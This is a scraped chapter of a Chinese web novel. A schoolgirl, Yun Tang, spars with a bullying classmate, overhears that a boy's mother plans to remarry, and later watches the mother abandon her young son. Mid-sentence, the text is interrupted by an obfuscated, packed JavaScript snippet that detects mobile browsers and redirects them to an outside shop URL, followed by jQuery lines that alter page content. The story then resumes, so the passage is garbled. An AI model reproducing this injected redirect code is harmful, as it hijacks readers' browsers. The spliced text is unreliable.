默认冷灰
24号文字
方正启体

15. 第 15 章

作者:山风摇月本书字数:K更新时间:
    初中要学的科目变多,云棠觉得还好,都是些基础知识,不会的也有奶奶辅导,倒也不吃力。


    唯一让她烦恼的是真招惹到顾池野了。


    这个小心眼的男生对之前的事情耿耿于怀,把云棠和许半夏记恨上,不过许半夏凶悍,谁招她她干谁,于是没什么脾气的云棠成了顾池野抓弄对象,且不是那种正大光明的抓弄。


    他经常上课迟到,学习却又非常好,把老师气到牙痒痒的同时,又会因为他成绩而网开一面,见他组织能力强还让他当班长。平时班里有谁和其他班的人闹矛盾了,他会为人出头调解,因此男生也都服他。


    大概只有云棠能感受到他或多或少的恶意,比如全班交上去的作业莫名其妙少了她的,等她被老师批评之后他才慢吞吞的从课桌里拿出来,说自己漏拿了。


    又比如早上跑操时,云棠鞋子总是被人踩掉,一扭头看到他。


    云棠瞪着眼睛质问他,顾池野耸肩,不承认是他干的。


    到了体育课,老师让大家组队打羽毛球,云棠还倒霉的和他成了对手,顾池野出球狠,几乎让人接不住,有好几次都砸云棠身上,直到一次砸她鼻子上,许半夏看见冲上准备去打他。


    “怎么了?”体育老师注意到,走过来询问。


    云棠拉住许半夏,指着顾池野有些恼怒:“他欺负人。”


    顾池野叫屈:“老师我冤枉啊,接不住球也能怪我?”


    他满脸无辜,体育老师看不出端倪,只觉得是小女生太过娇气,语气不怎么好:“既然不想打,你就到一边休息去。”


    云棠手指快掐进肉里,瞪向顾池野,他站在体育老师背后,眼里是藏不住得意的笑。


    云棠气不过半分钟,便收回激动的表情,不想让他看笑话,果真拉着许半夏走到一边休息,打球有什么了不起的。


    许半夏骂骂咧咧,说要找个机会打死顾池野。


    云棠:“不要打架,不然被处分的。”


    一中是重点高校,校规森严,一旦违反说要你停课就停的,云棠不想惹事被学校叫家长,忍忍算了,忍不下去也就是骂顾池野两句。


    顾池野不痛不痒,还笑嘻嘻地来她跟前找骂。云棠无法能像对付乔天恩那样丢包辣条让他别来烦,后来有一次老师有事让大家自习,他和云棠后桌换了位置,时不时用脚踢她凳子。


    云棠就算是泥捏的也该有脾气的,她悄悄抬起凳脚压住那只该死的脚,回头看顾池野时,他还在故作云淡风轻,实际已经疼到额头冒汗。


    她身体重心往后压,等顾池野受不了踹她凳子,她才假装发现压到他脚,阴阳怪气地和他道歉:“对不起哦,你没事吧?”


    “没事。”顾池野盯着她表演,不知道在笑什么,“怪会演的。”


    云棠面无表情:“彼此彼此。”


    顾池野下课走回去时,都有些一瘸一拐的。


    云棠从此和他拉开一场没有硝烟的暗战,谁都不挑明,谁都在暗自较劲。


    而云泽天天练习负重跑步,他个子长得非常快。


    之前偶尔还会和同学打架在脸上留下伤口,但慢慢地,同龄人估计打不过他了,便不再受欺负。有次云棠看见顾池野追着他跑,云泽速度快身形又小,能钻进很多狭窄的地方,顾池野追了半天都没追上他。


    看来云棠教他的“打不过的就跑”的话是有用的。


    当时她骑车追上去看见跑岔气的顾池野,她笑了一下,被顾池野狠狠瞪住,警告她让云泽不要再揍他弟弟顾池飞了,不然就别怪他动手。


    云棠骂他真的会颠倒是非,会欺负人的明明就是他弟弟,这么有本事怎么会跑不过一个七岁的孩子。


    她言语上讥讽他一顿,被他一直针对的憋屈感散了些,莫名有种大仇得报的快意,心想云泽最好遛死他。


    顾池野在校外可不像在校内时会收敛性子,他捏着拳头想上来理论,云棠见状赶紧踩上自行车也溜了。


    而回到学校后,这个人依旧时不时来招惹她一下,惹人烦,许半夏好几次都差点要和他打架。


    云棠现在可太同意后桌的周强,他说得对,顾池野就混混一个。她安慰自己,至少那个神经病没有找他校外朋友在放学路上把她和许半夏堵住一顿打。


    除此之外她的初中生活还是过的不错,认识了很多新同学,假期会约着去玩。


    天气降到最冷的时候,学校放寒假了。街角开了一家书咖,云棠每次放学路过时隔着玻璃看到在里面约会的男男女女,那个时候流行韩剧,各种明星把十几岁的少女迷得不行,咖啡馆也被剧里塑造成浪漫场地。


    云棠在好奇心的驱使下,她拉着许半夏去了。书咖不算很大,但和新华书店大有不同,书架上摆放了许多名著以外的言情小说,连播放的歌曲也是缠绵悱恻的调调。


    云棠也长成少女了,会喜欢这些很正常,许半夏跑到用餐区关注这里面有什么好吃的。


    她粗略看了下饮品单上的价格:“卡布奇诺是什么东西,怎么那么贵啊,抢钱算了,怎么没有可乐啊?”


    云棠零花钱不少,让她放心点单,忽然听到她后边桌子一个男人说话。


    “你不必隐瞒,其实那个孩子是你儿子对吗?”


    “是,他是我未婚先孕生下的。”坐在男人对面的女人沉默了好一会儿,点头回答。


    云棠也不是有意要偷听别人说话的,只是那个女人声音耳熟,就连背对着她的身影也像江梅。


    许半夏也察觉出来,悄悄看了一眼,压低声音说:“好像是云泽他妈妈的声音诶。”


    云棠示意她别说话,换了位置和她挤一张沙发,方便她听得更清楚一些。


    男人问:“那孩子的父亲呢?”


    “死了。”


    “小梅,谢谢你能承认,不然省得我整天疑神疑鬼。”那个男人估摸着三十来岁,穿着朴素低调,有些讨好道,“说实话,我真的很喜欢你,是真的想和你结婚的。我也能够接受你有孩子的,你呢,你是怎么想的?”


    和男人说一大堆不同,江梅语气很平淡:“结婚后,我想去北城生活。”


    男人迟疑:“……这。”


    江梅说:“我只有这一个条件,如果你不能做到……”


    男人着急打断:“可以的,我可以带你去北城结婚,但,北城不好给你儿子安排念书名额,恐怕一时半会儿搞不定,要留他在南城念着先。”


    ……


    云棠没料到自己对偷听到这一场景,从书咖出来后,思来想去,她找许半夏想问个结果:“小泽妈妈真的要结婚了?”


    “我哪知道,不过刚刚听他们两人对话,估计就是了。”许半夏不甚在意,她还“啧”了一声,“也不知他们怎么就爱结婚,尤其是我姑姑每年都叫我爸给我找个后妈,烦死了。”


    云棠挽着发小胳膊,清楚她对这种事的排斥,许半夏总说如果他爸真敢找后妈,还敢给她生个弟弟或妹妹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407014|200567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的话,她就点火把家烧了,谁也别想好过。


    许家没云家富有,但许青山很爱女儿,云棠有的,许半夏基本也拥有。


    他妻子离世后一直保持单身状态。


    云棠又忍不住把思绪牵扯到云泽身上,也不知道那个男人是不是二婚,有没有孩子,倘若江梅真的和他结了婚,男人的孩子会不会也排斥欺负他?


    回到家,恰好遇到牵着八喜回来的云泽,他如今都快成云家专门的遛狗人,天天带着八喜消耗精力,八喜都有些被他遛怕了。


    云棠底头看他,如果江梅真的结婚把他带走,他们恐怕再也没有机会见面了。


    云泽不明所以,小声喊她姐姐。


    云棠问他:“你妈妈要结婚?”


    云泽:“结婚是什么?”


    哦,看来他也不知道啊,云棠莫名伤感起来:“如果有天我们不能见面了……”


    云泽插嘴问,表情困顿不解:“为什么不能见面?”


    “如果,我说如果。”云棠拍了下他脑袋强调,“如果你去了离南城很远的地方,你会不会想我。”


    “我每天都在想姐姐。”云泽回答得认真又理所当然。。


    云棠满意了。


    她对感情方面很看重,用过的旧物非必要就不会扔,更不要说人,奶奶,半夏、八喜、云泽……对她来说,都是非常珍贵的家人朋友,她不要有和他们分开的一天。


    临近过年的时候,老街来了个流浪汉沿街乞讨,他穿过木棉巷来到云家富贵大门乞讨,云棠看他可怜,给他一袋子米和些钱。


    流浪汉讨到了米,在河边生起火来煮东西吃。


    世上可怜人太多,不是每个都像云棠幸运,拥有一个温暖富裕的家。


    2008年在隆重热闹炮竹声到来,周素月每年都给云棠包很大的一个红包,她笑盈盈地说:“小棠又长大一岁了。”


    云棠看着奶奶黑发上多出了些白发,眨了下眼,认为是家里灯光太亮造成的错觉。


    时间推着人走,有人成长,有人老去,有人离别。


    时至惊蛰,春雷乍动,南城淅淅沥沥地下了一场雨,唤醒泥下沉睡的万物,新的生命抽条而出。


    江梅将最后一件行李塞箱里,拉上拉链,站起来时看到沉默看着她小男孩。


    她伸出手想摸一下他脑袋,又收回去,眼睛闪烁过爱与恨,化作即将凝固的冰,面孔变得自私自利:“我走了,不要想我。”


    云泽紧紧盯着她,小小的双手攥紧衣摆,手指泛白。


    他眼睛里看不出任何情绪。


    男人走进屋内帮江梅提行李,低头看了云泽,犹豫地问:“真不带他?”


    江梅不再看云泽:“走吧。”


    她毫不留情地走出去,和刘春华道别后就上了停在外边的汽车,没再看云泽一眼。


    男人松了一口气,追上去把行李放后备箱子,又折返回来,什么话都没说,只是往云泽口袋塞了一把钱。


    小小的口袋装不下,掉出几张,云泽也没有蹲下去捡,一直等到车子发动声音响起,他有了反应,刚一动,刘春华一把抓住他,干枯的手掐进他胳膊肉里,哀求他道:“让她走,放过我女儿吧。”


    车轮滚滚而过,很快开出河边道路,行驶上桥开往对面河岸,缩成一个模糊的小点。


    云泽终于挣脱开了外婆,但他没有追上去,只是很小声地叫了两个字。


    那是他最后一次喊妈妈。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)